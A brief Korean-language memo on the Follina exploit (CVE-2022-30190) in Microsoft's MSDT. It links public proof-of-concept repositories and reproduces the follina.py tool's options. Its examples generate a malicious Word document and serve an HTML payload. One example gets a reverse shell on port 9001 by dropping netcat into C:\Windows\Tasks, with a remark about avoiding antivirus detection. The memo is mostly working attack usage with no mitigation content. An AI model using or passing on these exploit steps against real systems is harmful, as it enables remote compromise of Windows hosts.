
CVE-2022-30190 관련 메모
CVE-2022-30190 관련 메모
FOLLINA: CVE-2022-30190
Microsoft 지원 진단 도구(MSDT)를 사용합니다.
진단 목적으로 열리는 진단 창을 악용하며, 제대로 실행될 경우 공격자에게 리버스 셸을 제공합니다.
Github: (a). https://github.com/JohnHammond/msdt-follina (b). https://github.com/chvancooten/follina.py
감사 인사: (a). @_johnhammond (b). @networkchuck
사용법 follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT] options: -h, --help show this help message and exit --command COMMAND, -c COMMAND command to run on the target (default: calc) --output OUTPUT, -o OUTPUT output maldoc file (default: ./follina.doc) --interface INTERFACE, -i INTERFACE network interface or IP address to host the HTTP server (default: eth0) --port PORT, -p PORT port to serve the HTTP server (default: 8000)
예제
(a). calc.exe 실행:
$ python3 follina.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./follina.doc
[+] serving html payload on :8000
(b). notepad.exe 실행:
$ python3 follina.py -c "notepad"
(c). 포트 9001에서 리버스 셸을 획득합니다.
참고: 이 명령은 netcat 바이너리를 대상 시스템에 다운로드하여 C:\Windows\Tasks에 배치하며, 바이너리를 정리하지 않습니다. 이로 인해 AV가 비활성화되어 있지 않은 한
백신 탐지가 트리거될 수 있습니다.
$ python3 follina.py -r 9001